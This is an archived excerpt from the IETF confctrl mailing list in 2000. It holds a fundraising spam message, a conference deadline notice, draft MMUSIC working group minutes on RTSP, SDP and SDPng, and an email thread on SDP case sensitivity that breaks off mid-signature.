Message-Id: <49.94936.491678@sendflowersamerica.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

SendFlowersAmerica is proud to introduce FlowerFunds--

This unique new concept will provide an income flow for your 
organization for years to come.  Your organization is invited to 
explore the possibilities of participating in FlowerFunds. 
       

     $FlowerFunds is an individualized fund raising program for 
non-profit organizations and schools.

     $FlowerFunds are cash rebates that are paid to your 
organization each and every time an order is placed by your 
members and supporters.

     $The best part is that it costs your organization nothing to 
participate!!



How it works:

     1.   When your members and supporters order flowers or gifts 
through sendflowersamerica they determine the price they want to 
pay; be it $30, $40, $50 or $1000.  Since your members and 
supporters determine the price, they all can participate in this 
program.

     2.   Your organization receives 20% of the purchase price of 
the order.  Say a husband buys his wife a $50 bouquet.  Your 
organization will receive a $10 cash rebate. Nice.



This program never ends.  Each and every time there is an order 
placed by your memebers and supporters, your organization will 
receive the 20% cash rebate.  That's a lot of FlowerFunds, and 
your organization stands to benefit from a findraiser unlike any 
other fundraiser.


For more information call 1 800 SEND 123 or

http://www.sendflowersamerica.com


Imagine earning money for your organization by making someone 
smile  :-)
 
 
 
 
 
 
 
 
 

From confctrl-owner  Thu Aug 31 05:52:47 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id FAA02961
	for confctrl-outgoing; Thu, 31 Aug 2000 05:52:47 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA02956
	for <confctrl@zephyr.isi.edu>; Thu, 31 Aug 2000 05:52:46 -0700 (PDT)
Received: from smtp2.cluster.oleane.net (smtp2.cluster.oleane.net [195.25.12.17])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id FAA05809
	for <confctrl@isi.edu>; Thu, 31 Aug 2000 05:53:59 -0700 (PDT)
Received: from oleane  (dyn-1-1-093.Vin.dialup.oleane.fr [195.25.4.93])  by smtp2.cluster.oleane.net  with SMTP id OAA41950; Thu, 31 Aug 2000 14:56:18 +0200 (CEST)
Message-ID: <000e01c0134a$6f8ea1a0$0401a8c0@oleane.com>
From: "Peter Lewis" <peter.lewis@upperside.fr>
To: "info" <info@upperside.fr>
Subject: VoDSL Europe 2001
Date: Thu, 31 Aug 2000 14:53:15 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_000B_01C0135B.31862340"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_000B_01C0135B.31862340
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

VoDSL Europe 2001
The Call for Papers dead line has been extended to September 15th
Please get more details at:
http://www.upperside.fr/bavodsl2001.htm


------=_NextPart_000_000B_01C0135B.31862340
Content-Type: text/html;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dwindows-1252" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT color=3D#000000 size=3D2>VoDSL Europe 2001</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>The Call for Papers dead line has =
been extended=20
to September 15th</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>Please get more details =
at:</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2><A=20
href=3D"http://www.upperside.fr/bavodsl2001.htm">http://www.upperside.fr/=
bavodsl2001.htm</A></FONT></DIV>
<DIV>&nbsp;</DIV></FONT></DIV></BODY></HTML>

------=_NextPart_000_000B_01C0135B.31862340--


From confctrl-owner  Thu Aug 31 09:30:39 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA10535
	for confctrl-outgoing; Thu, 31 Aug 2000 09:30:39 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA10530
	for <confctrl@zephyr.isi.edu>; Thu, 31 Aug 2000 09:30:38 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id JAA26608;
	Thu, 31 Aug 2000 09:31:48 -0700 (PDT)
Received: from plumps (daemon.informatik.uni-bremen.de [134.102.218.45])
	by bettina.informatik.uni-bremen.de (8.10.1/8.10.1) with SMTP id e7VGVir28120;
	Thu, 31 Aug 2000 18:31:44 +0200 (MET DST)
Message-Id: <200008311631.e7VGVir28120@bettina.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Thu, 31 Aug 2000 18:28:42 +0200
To: confctrl@ISI.EDU, mmusic@informatik.uni-bremen.de
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: Draft meeting minutes
Cc: csp@ISI.EDU
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

please find attached the draft minutes of the MMUSIC meeting
at the 48th IETF in Pittsburgh.

A really big "Thank you" to Tom Taylor for efforts not only to
capture what was said during the meeting but also to do the writeup!

Please review them and send comments as soon as possible.

Cheers,
Colin & Joerg



Draft Minutes of the MMUSIC WG Meeting at the 48th IETF
=======================================================

The MMUSIC WG met twice at the 48th IETF, Monday night 1930-2200 and
Wednesday afternoon 1530-1730.  Some 180 participants attended these
meetings.  In addition, the chairs organized an informal meeting to
further the requirements discussion on SDPng which was held on
Thursday night 2200-2330.

Notes taken and written up by Tom Taylor (Thanks a lot!).


Session 1, Monday, 31 July 2000, 19:30-22:00
--------------------------------------------

1. Agenda Bashing 
   ============== 
   Joerg Ott <jo@tzi.uni-bremen.de> 

The proposed agenda was as follows: 

     Agenda Bashing (Joerg Ott, 5) 

     WG Status Update (Joerg Ott, 5) 

     Mbus Update (Dirk Kutscher, 15) 
        draft-ietf-mmusic-mbus-transport-02.txt 

     Report from the RTSP Bakeoff (Ron Frederick, 30) 

     RTSP Extensions (Sean Sheedy, 15) 
          draft-sheedy-mmusic-rtsp-ext-01.txt 

The proposed agenda was accepted. 

2. WG Status Update 
   ================ 
   Joerg Ott 

a. Organization 

New WG co-chair: Colin Perkins (ISI) <csp@isi.edu> 
New mailing list almost ready 
Announcements of these changes await the charter page update. 

b. Conferencing Architecture (draft-ietf-mmusic-confarch-03.txt) 

Some non-substantive fixes needed -- will be done during Last Call period.  The document should go to Last Call now. 

c. SAP (draft-ietf-mmusic-sap-v2-06.txt) 

Awaiting IESG approval. 

d. SDP Source Filter (draft-ietf-mmusic-sdp-srcfilter-00.txt) 

Last Call to be issued. 

3. MBus Transport (draft-ietf-mmusic-mbus-transport-02.txt) 
   ======================================================== 
   Dirk Kutscher <dku@tzi.org> 

Gave URL, quick refresher 
   - local coordination mechanism 
   - the original specification was split into three drafts, one of 
     which covers transport 

Changes in mbus-transport-02 
   - heartbeat hello intervals now dynamically calculated 
      - scale per number of entities -- basic principle that the 
        total number received per unit time should be constant 
        - similar to RTCP timer reconsideration 
           - problem -- slows down bootstrapping process 
           - added mbus.ping to query for other entities 
        - considered stable 
           - could add procedures for behaviour in absence of multicast 
           - intend one more cycle before Last Call (2-8 weeks from now) 

Semantic specifications: 
   Plan: 
     - split into individual parts 
     - informational documents 

Other issues: 
     - connecting physically separate Mbus domains 
     - simple devices -- Mbus bootstrapping, allowing for broadcast 
       rather than multicast 

4. RTSP Bakeoff 
   ============ 
   Ron Frederick <ronf@entera.com> 

Hosted at Entera, 24-25 Jul 
27 attendees, 7 organizations 
Interoperability of various RTSP clients, proxies, and servers 

OPTIONS 
   - Passing real URL rather than * is useful when proxies are involved 
   - proxy can pass on to origin server rather than reporting its 
     capabilities 

SETUP 
   - Unclear whether servers must allow SETUP without preceding DESCRIBE 
   - Must servers allow setup on subset of tracks e.g. audio only? 

PLAY 
   - Proposed to allow * for URL when PLAY specifies a session 
   - Queued PLAY 

CSeq 
   - Should specify that the CSeq numbers should be unique within a 

     session 

RTP-info 
   - Quoting the URLs would be useful 
     Comment: Jonathan Rosenberg suggested that angle brackets be used 

   - Clarify meaning of "seq" and "rtptime" 
      - more detailed example in the specification? 

   - Should RTP-info also specify the timestamp of the first real packet 
     in the track? 

Session Header 
   - Useful to get session ID to associate state with before setting up 
     a particular media stream 

   - All session ID examples are numeric -- should show alphanumeric 

   - Should SETUP always return Session? -- needed for some types of control 

   - More explanation of session timeouts 
      - distinguish session vs. control connection 

Transport Header 
   - RTP/AVP/TCP and default multicast mutually contradictory 
        -- implies "unicast" should appear in header if TCP used 
        Comment: Steve Casner noted that the lack of multiple implementations 
      of RTP/../TCP is an issue in AVT. 

      But -- does RTP/AVP/TCP imply interleaved?  If not, no current means 
      for client to request it except by specifying channel numbers. 
      Suggestion: specify that interleaved is always implied. 

   - Port numbers: specification should clarify what it means to specify 
     only one port. 
  
   - What is the meaning of port range where port2 is not port1 + 1? 
     Christian Huitema cited an example where multiple non-adjacent ports 
     might be used.  He noted difficulties when trying to coordinate IP4 
     and IP6 port use. 
     Steve Casner reports reluctance to commit to the RTP convention. 

Proxy issues 
   - useful for proxies to add "source" field to transport to direct client 
     RTCPs 

RTP Issues 
   - Servers should take more care with sequence numbers and timestamps when 
     seeking 

   - Setting marker bit for audio in a server is difficult -- servers may not 
     know it is audio 
   - preferable to have clients rely on "seq" field in RTP-info to force playout 
     adaption to occur at the transition point -- works for both audio and video 

SDP Issues 

   - a=control: relative URL handling 
      - How to process Content-Location to obtain base 
      - legality of relative URL at session level 
      - when session-level control specified, does it replace the base URL? 

   - How to do content negotiation 
      - some non-standard extensions e.g. quiktime 

   - On video tracks, "cliprect" field very useful even when playing back at 
     natural size 

Other Issues 

   - "Stream done" notification would be useful 

   - Should RTSP proxies preserve port nos.? 
      - multiple Setups 

   - How should multiple instances of same header be handled 
      - could be legal and sensible for some but not for others 
      - Jonathan Lennox comment: same question in SIP - allow multiple 
        instances for any header which permits comma-separated list of items 

Note from Colin: be sure to share any RTP-related interop results with AVT 

5. RTSP Extensions (draft-sheedy-mmusic-rtsp-ext-01.txt) 
   ===================================================== 

   Sean Sheedy <seans@nCube.com> 
  
Changes since Adelaide: 

   - ATM address syntax now matches the atmsdp syntax 

   - Unified play queue control syntax 

   - Restrictions on reuse of transport 

.. 

ATM Addresses 

   - Simplified profile and lower transport -- MP2T/AVP/AAL5 

   - NSAP Address -- optional dots 

   - VPI/VCI address -- uses server-spec port addr 

   Didn't include the complete gamut of addressing possibilities 
     - doesn't see as desirable -- too complicated 

Play Queue Control 

   - Previously much interaction between play- , flush-now 
     - now combined in one command 

Reuse of transports 

   - Restricted to presentation URI, ... 

   - Wildcard URIs 
      - clarified restrictions 
      - notes interop suggestions 
      - never allowed in SETUP 

      - URI header in response indicates what specific URIs were 
        matched by wildcard 

Future 

   - Define ATM addressing syntax by reference to ATM SDP document 

   - QAM and DVB addressing syntax 

Someone noted that the transport reuse extension works only with 
simultaneous presentation 
   - typical of nCube applications 
   - would be nice if the mechanism were more general. 

Sean expressed concern that without restrictions one can get into 
trouble. 

The questioner explained that he wanted to play one item after 
another without setup between.  A typical use would be for targeted 
trailers preceding the main feature.  They would use the same codec 
and bit rate. 

It was suggested that one could at least relax the bit rate restriction 
 -- wireless has a scalable bit rate.  Sean found this acceptable. 

A further question was raised regarding bandwidth: what is the 
relationship between the quantity specified when reserving via RSVP and 
the quantity specified in the RTSP?  Which overheads are included? 

Sean indicated this needed more thought -- the relationships are clearer 
with QAM and DVB. 

RTSP Going Forward 

   - Cleanup -> Draft Standard 

     - bug fixes 
     - clarifications 
     - issues -- to go to list 

   - Implementation survey 
     - remove unnecessary parts from draft 
     - demonstrate interoperability 
       -- preconditions for getting to Draft Standard 

   - New bake-off 3-6 months from now -- details TBD 

   - Had other work items 
     - fctl extensions -- Sheedy draft + bakeoff findings 
     - fold into RTSP? 

   - Extensions for other Transports 
     - generalization needed 
     - largely SDP issue 

   - Caching 
     - work continues -- keep as separate spec. 
     - Ron Frederick asked for additional participants to talk through 
       the issues 


Session 2, Wednesday, 2 August 2000, 15:30-17:30
================================================

1. SDP Extensions for ATM (draft-rajeshkumar-mmusic-sdp-atm-02.txt) 
   ========== 
   Rajesh Kumar <rkumar@cisco.com> 

Status 
   - key question: will this be accepted as an MMUSIC work item? 
   - applications include Megaco and MGCP control of ATM connections, 
     SIP signalling for ATM 
   - Extensive comments have been received on the list at 
     atmsdp@eng.fore.com and have been assimilated into the document. 
   - hoping to finalize in next month and forward for WG Last Call. 

Summary Of Descriptive Capabilities 
   - Bearer network identifier (ATM) 
   - ATM address self-identification 
   - VC and CID addressing 
   - RTP payload type declarations for AAL1 and AAL5 audio 
   - AAL2 profile declarations - standard, custom 
   - AAL5 applications include data, video, H.323 Annex C, af-vtoa-83 
   - correlation of service-level connections with ATM bearer 
     connections 
   - mapping of codecs into services (per Q.BICC) 
   - ATM parameters 
   - special capabilities: leaf-initiated join, anycast, lawful 
     wiretap, SVC caching. 

Rajesh displayed a few examples of the proposed syntax. 

Discussion: the reference to the AAL5/AVP transport stack is incorrect 
as it stands: a reference to a profile document is needed. 

Colin noted that SDP does not currently provide for the use of dollar 
signs ($).  It was explained that these are used for wildcarding. 

Joerg asked SDP experts to re-review the document.  He noted that it 
had made definite progress.  He had some small comments, which he 
would convey to the author off-line. 

2. SDP Media Alignment in SIP (draft-camarillo-sip-sdp-00.txt) 
   ========== 
   Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se> 

Gonzalo's proposal is intended as an interim measure before SDPng 
becomes available. 

The problem is how to signal mid-session changes in media stream 
characteristics, where multiple media streams have been defined. 
A more elegant scheme is needed than matching the Nth line of the 
new SDP against the Nth line of the earlier description. 

Gonzalo provided examples justifying changes in port number: in 
cellular communications, when alternative RTP stacks are being used, 
or when the signalled device is a transcoding point. 

Gonzalo proposes a flow identifier (fid) attribute.  However, there 
is a backward compatibility problem.  The workaround is that the "a" 
line should activate the current session description. 

The question posed to the meeting was whether the proposal is seen to 
be useful.  Christian Huitema expressed his support.  There are 
situations where you want to express alternatives as opposed to 
simultaneous media flows.  You may need different routes for the 
alternatives, implying different "m=" lines.  He suggested "mediaID" 
labels for the "m=" lines, rather than "fid" as proposed. 

The key point is that a method of stating alternatives and switching 
between them is needed. 

Flemming Andreassen asked how RTCP would be managed under the 
proposal.  Gonzalo agreed that this is an open issue. 


Henning Schulzrinne wondered whether the means exist to achieve 
end-to-end agreement that this feature would be supported.  He noted 
the option to use MIME types (e.g. multipart/alternative). 

There was a remark on how a need for precisely this capability was 
identified at the RTSP bakeoff. 

Colin expressed his reaction: this was a medieval way of mangling SDP. 
Jonathan Rosenberg suggested that typically there will be no switching 
between options: the requirement is just "pick one" expression.  Colin 
suggested that was easy to express in an attribute. 

There was initial disagreement on whether one or multiple sessions 
would be needed to achieve the necessary expressiveness.  One person 
noted that there is also the need to support multiple streams 
(audio in particular) at once.  Another remarked that it is also 
desirable to be able to switch dynamically without waiting for a 
signalling round-trip.  The conclusion from this discussion was that 
the alternatives should be expressed as multiple RTP sessions. 

Christian Groves noted Megaco's use of streamIDs and multiple 
alternative sessions.  Tom Taylor added that Megaco uses additional 
semantic tags to indicate whether the intent is "pick one" or "reserve 
all so a choice can be made later". 

Henning Schulzrinne noted an appplication to DTMF routing. 

Colin concluded that the proper approach would be to use MIME 
multipart/alternative. 

3. SIP for xcast-based Multiparty Conferences 
   (draft-van-doorselaer-sip-xcast-00.txt) 
   ========== 
   Bart van Doorselaer <Bart.Van_Doorselaer@alcatel.be> 
          
The problem: how to set up multiparty conferences. 
   - Sip or SAP? or E-mail or web? 
   - multicast, bridge vs. mesh? 

There are three known SIP schemes: 
   - conference bridge 
      - single point of failure 
      - extra element in the conference 
      - special case of a local bridge still a single point of 
        failure 

   - distributed multi-party conference 
      - bandwidth hog 

   - classical multicast 
      - complexity of address allocation 

At this point the speaker provided a brief introduction to Xcast 
technology.  Xcast is a work in progress.  There are different 
proposals for how it should work.  Distribution is via a tree. 
The packet header contains the (multiple) destinations to 
which it is to be delivered.  In the simple Xcast case, the 
list of IP addresses in the header all use the same UDP port. 
The block diagram Bart showed placed the Xcast capability 
within the IP stack. 

The speaker walked through a three-party call setup, in five 
steps with the call initiator controlling each.  The conclusion 
was that rules need to be established for use of SDP in the   
Xcast case.  There is an issue with UDP port numbers, in that  
they are allocated dynamically.  Possible solutions are: 
   - use UDP-enhanced Xcast 
   - require the destination to allocate the same port as the 
     originator 
   - negotiate the port. 

Conclusion: Xcast is attractive for small conferences, but the 
port issue is present or the UDP-enhanced version of Xcast must 

be used. 

The speaker was asked what happens if the conference grows too 
large.  He confirmed that this would trigger a change in the 
call paradigm. 

Stephen Casner noted that Xcast may or may not be developed. 

Bart was asked whether he himself had developed an Xcast 
application.  He has not yet done so. 

The last question was what sort of device it would be run on. 

4. MPEG-4 (draft-singer-mpeg4-ip-00.txt) 
   ========== 
   David Singer <singer@apple.com> 

David Singer gave a brief report on the status of the MPEG-4 
framework draft as it related to MMUSIC. 

The draft currently assumes at most one MPEG-4 session is 
specified in any SDP description.  They hope to lift that 
restriction. 

They have worked on reducing round-trips required to describe 
MPEG-4 sessions. 

RTSP requires particular care in the mapping of streams.  The 
mapping must take account that MPEG-4 features multiple 
independent streams. 

It was necessary to use MIME types to describe MPEG-4 data. 

They are working on dual consensus between ISO and the IETF. 

No comments were received. 

5. TIPHON Requirements For SDPng (draft-tiphon-background-00.txt, 
   draft-tiphon-architecture-00.txt) 
   ========== 
   Paul Sijben <sijben@lucent.com> 

The focus of the TIPHON architectural work is on QOS parameters 
and QOS budget allocation to individual networks along the call 
path.  The TIPHON model deals with user, application, and 
transport views.  Within this framework, SDP deals with the 
application view. 

Paul's presentation suggested a set of mechanism-independent QOS 
parameters.  Parameters dependent on specific transport 
mechanisms could be examined in the future. 

The basic concept of the architecture is that the QOS budget is 
negotiated between elements on the path. 

TIPHON expects to release their documentation in the first 
quarter of 2001. 

[To understand the discussion which followed, it is necessary 
to be aware that Paul's architectural diagram showed a series 
of networks along the call path, with the signalling entities 
controlling the media entities at the boundaries between these 
networks.  Because both signalling and media pass along the same 
path in this model, signalling can meaningfully control transport 
QOS. - PTT] 

Henning Schulzrinne commented that the architecture was puzzling: 
in general, transport and signalling follow separate paths. 
Moreover, the preconditions draft (draft-manyfolks-sip-resource-01.txt) 
is available to coordinate QOS setup.  Jonathan Rosenberg 
seconded the comment on the architecture.  Radhika Roy said he 
could accept the concepts, but was not sure how they would be 
implemented. 

Paul replied to all of these comments that there has to be some 
relationship between the QOS supplier and the user for billing. 

Christian Huitema remarked that the internet requires an absolute 
separation between applications and transport -- for example, 
billing would be based on RSVP. 

Paul Sijben maintained that people were reading too much into 
the architecture.  There will be points through which media must 

pass, with transcoders as an example, and these points will get 
into a QOS discussion. 

Mark Handley expressed similar objections to other members of 
the audience.  Henning Schulzrinne maintained that there was no 
way service providers know how many MGs are in the media path. 

Richard Swale <Richard.Swale@bt.com> suggested that other TIPHON 
documents dealing with QOS may promote a more productive 
discussion. 

6. SDPng -- Requirements (draft-kutscher-mmusic-sdpbg-req-00.txt) 
   ========== 
   Dirk Kutscher <dku@tzi.org> 

A "bar BOF" on SDPng was announced at the start of this topic. 
Joerg asked for limited attendance. 

Dirk noted that he had published a URL: 
 http://www.dmn.tzi.org/ietf/mmusic/sdp-ng/ 
pointing to a collection of relevant documents.  The presentation 
would cover motivation, terminology, general requirements, session 
description requirements, and capability negotiation requirements. 

Motivation 
---------- 
   - no negotiation in SDP 
   - primary extension mechanism is through "a=" 
      - free extensibility 
      - unknown attributes ignored 
         - problem: no way to indicate attributes which MUST be 
           understood or the session fails.  
   - extensions are getting unmanageable 
  
Henning Schulzrinne suggested that the choices for indicating 
mandatory attributes are MIME or an out-of-band indication of 
intent.  Mark Handley noted that PINT solved the issue by 
specifying the "required" attribute tag. 

Dirk added one other motivation for looking at SDPng: the 
limited expressiveness of SDP. 

General Requirements 
---------- 
   - simplicity 
   - ... (see charts) 
   - security 
   - text encoding 
   - SDP-mapping (SDPng to SDP) 
      - may not always be possible 

Henning Schulzrinne suggested that this last requirement be 
dropped and replaced with an advance negotiation of SDP vs. 
SDPng.  On the other hand, it is important that the mapping from 
SDP to SDPng be simple. 

Joerg Ott noted the possibility of a gateway between the two 
protocols -- a mapping is needed in both directions. 

Mark Handley noted the value of SDP.  He indicated a requirement 
to control extensibility of the new protocol. 

Session Description Requirements 
---------- 
   - media types 
      - fit RFC 1889/1890 model of standard and dynamic payload 
        types 
      - reuse payload formats, format names 

Christian Huitema added the need to be able to specify "pick one" 
versus "support all" semantics. 

   - transport parameters 
      - different transports, QOS models, and associated parameters 
   - asymmetric configurations 
   - conciseness, structured extensibility 
      - implies grouping of definitions, ability to refer to groups. 

Capability Negotiation Requirements 
---------- 
   - model for specifying alternatives 
   - negotiation model 
      - syntax, semantics 
   - fit with SIP three-way handshake 
   - feature-unaware negotiation 
   - ability to group capabilities 

Tom Taylor noted the need for the ability to negotiate increments 
to the current session. 

   - able to express constraints 

      - simultaneous capabilities 
      - processing rules. 

Next Steps 
---------- 
   - gather more requirements 
      - Megaco input 
      - specific link layers and protocols 

Mark Handley commented that the new protocol should not obsolete 
SDP: it should be an alternative.  SDP should go to draft standard. 
If this does not happen, it will be a problem for deployed 
implementations. 

Someone else commented that SDPng should not reproduce the complexity 
of H.245.  Another comment: there could be different needs for 
different entities in the signalling path -- endpoints vs. gateways 
vs. proxies. 

7. SDP Next Steps 
   ============== 

Colin volunteered to be the RFC 2327 bis editor.  Mark noted about 
fifteen known errata. 

What is the future? 
   - need an implementation overview and interoperability statements. 

Henning asked if compatibility is necessary.  For example, it would 
be nice to get rid of the requirement for characters in the "s=" line. 
It was agreed that this can't be fixed. 

Mark was especially concerned to learn of implementations for the "v=" 
field -- it is essential to make the specification work (the time 
adjustment part), but no one seems to do it. 

8. SDPng Reprise 
   ============= 

Should SDPng break backward compatibility?  It was agreed that it 
might as well do so, since it was introducing new semantics. 

The timeline was set at a March, 2001 finish. 

The design team would be settled at the bar BOF. 
  




From confctrl-owner  Thu Aug 31 11:34:12 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA15154
	for confctrl-outgoing; Thu, 31 Aug 2000 11:34:12 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA15148
	for <confctrl@zephyr.isi.edu>; Thu, 31 Aug 2000 11:34:08 -0700 (PDT)
Received: from farley.cisco.com (farley.cisco.com [171.71.153.30])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id LAA01267
	for <confctrl@isi.edu>; Thu, 31 Aug 2000 11:35:22 -0700 (PDT)
Received: from rkumar-ntl (dhcp-71-29-235.cisco.com [171.71.29.235])
	by farley.cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with SMTP id LAA01409;
	Thu, 31 Aug 2000 11:34:19 -0700 (PDT)
Message-Id: <4.1.20000831111759.00dd3140@wanbu-mail.cisco.com>
X-Sender: rkumar@wanbu-mail.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Thu, 31 Aug 2000 11:38:58 -0700
To: Naren Tulpule <naren@trillium.com>
From: Rajesh Kumar <rkumar@cisco.com>
Subject: SDP case senstivity
Cc: confctrl@ISI.EDU, atmsdp@eng.fore.com, msf-media@msforum.org
In-Reply-To: <8BBD33A986C5D311804000902719FF5DAFF44A@aega.trillium.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_2214594==_.ALT"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--=====================_2214594==_.ALT
Content-Type: text/plain; charset="us-ascii"

I would like the feedback on the team on this issue. Here is what rfc232 says"

   "An SDP session description consists of a number of lines of text of
   the form <type>=<value> <type> is always exactly one character and is
   case-significant.  <value> is a structured text string whose format
   depends on <type>.  It also will be case-significant unless a
   specific field defines otherwise." 

Per this para, rfc2327 allows case-insensitivity to be specified for parameter
values AND for keywords. I have taken this "allowance" for all keywords and
parameter values in the ATM SDP conventions. I look at case sensitivity as an
unnecessary nuisance.

My view is that "case" should not matter, except for those instances in which
case results in a difference of meaning. An effort should be made to ELIMINATE
those instances up front, so that case-insensitivity is the general rule. The
only exception is the line <type> e.g. "c", "m", "a", "o" etc. These need to be
lower case.

However, I am prepared to be overruled on this for the sake of consistency
across all genres of SDP descriptions. Let me know.

Rajesh

 

At 10:18 AM 8/31/00 -0700, you wrote:
>Hi Rajesh,
>  most of current SDP grammar is case-sensitive. In some cases (capability,
>encoding-name etc) you're proposing case-insensitivity. Have you made a
>decision about the rest of the strings? e.g. AAL1 transport parameters
>(ATMF, ITU etc) - is it OK if we transmit using the case given in the
>document but be tolerant and receive any case? 
>  It's a minor issue but I'd like to know your unofficial official view.
>
>-- Naren.
>Narendra C. Tulpule    SMTS, Trillium Digital Systems
>Ph: +1-310-442-9222              Fax: +1-310-442-1162
>12100 Wilshire Bl #1800         Los Angeles, CA 90025
>

- Rajesh Kumar
        
-------------------------------------------------------
Rajesh Kumar                             :         :
Carrier Packet Voice                    .|.       .|.
Cisco Systems                         .:|||:.   .:|||:.
San Jose, California               ..:|||||||:.:|||||||:..
408 527 0811                       C i s c o S y s t e m s
rkumar@cisco.com  
-------------------------------------------------------
          
 
 

--=====================_2214594==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
I would like the feedback on the team on this issue. Here is what rfc232
says&quot;<br>
<br>
&nbsp;&nbsp; &quot;An SDP session description consists of a number of
lines of text of<br>
&nbsp;&nbsp; the form &lt;type&gt;=&lt;value&gt; &lt;type&gt; is always
exactly one character and is<br>
&nbsp;&nbsp; case-significant.&nbsp; &lt;value&gt; is a structured text
string whose format<br>
&nbsp;&nbsp; depends on &lt;type&gt;.&nbsp; It also will be
case-significant unless a<br>
&nbsp;&nbsp; specific field defines otherwise.&quot; <br>
<br>
Per this para, rfc2327 allows case-insensitivity to be specified for
parameter values AND for keywords. I have taken this
&quot;allowance&quot; for all keywords and parameter values in the ATM
SDP conventions. I look at case sensitivity as an unnecessary
nuisance.<br>
<br>
My view is that &quot;case&quot; should not matter, except for those
instances in which case results in a difference of meaning. An effort
should be made to ELIMINATE those instances up front, so that
case-insensitivity is the general rule. The only exception is the line
&lt;type&gt; e.g. &quot;c&quot;, &quot;m&quot;, &quot;a&quot;,
&quot;o&quot; etc. These need to be lower case.<br>
<br>
However, I am prepared to be overruled on this for the sake of
consistency across all genres of SDP descriptions. Let me know.<br>
<br>
Rajesh<br>
<br>
&nbsp;<br>
<br>
At 10:18 AM 8/31/00 -0700, you wrote:<br>
&gt;Hi Rajesh,<br>
&gt;&nbsp; most of current SDP grammar is case-sensitive. In some cases
(capability,<br>
&gt;encoding-name etc) you're proposing case-insensitivity. Have you made
a<br>
&gt;decision about the rest of the strings? e.g. AAL1 transport
parameters<br>
&gt;(ATMF, ITU etc) - is it OK if we transmit using the case given in
the<br>
&gt;document but be tolerant and receive any case? <br>
&gt;&nbsp; It's a minor issue but I'd like to know your unofficial
official view.<br>
&gt;<br>
&gt;-- Naren.<br>
&gt;Narendra C. Tulpule&nbsp;&nbsp;&nbsp; SMTS, Trillium Digital
Systems<br>
&gt;Ph:
+1-310-442-9222&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Fax: +1-310-442-1162<br>
&gt;12100 Wilshire Bl
#1800&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Los Angeles, CA
90025<br>
&gt;<br>
<br>

- Rajesh Kumar<br>
<font size=2 color="#800000">&nbsp;<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><br>
</font>-------------------------------------------------------<br>
Rajesh
Kumar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :<br>
Carrier Packet
Voice&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.|.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .|.<br>
Cisco
Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.:|||:.&nbsp;&nbsp; .:|||:.<br>
San Jose,
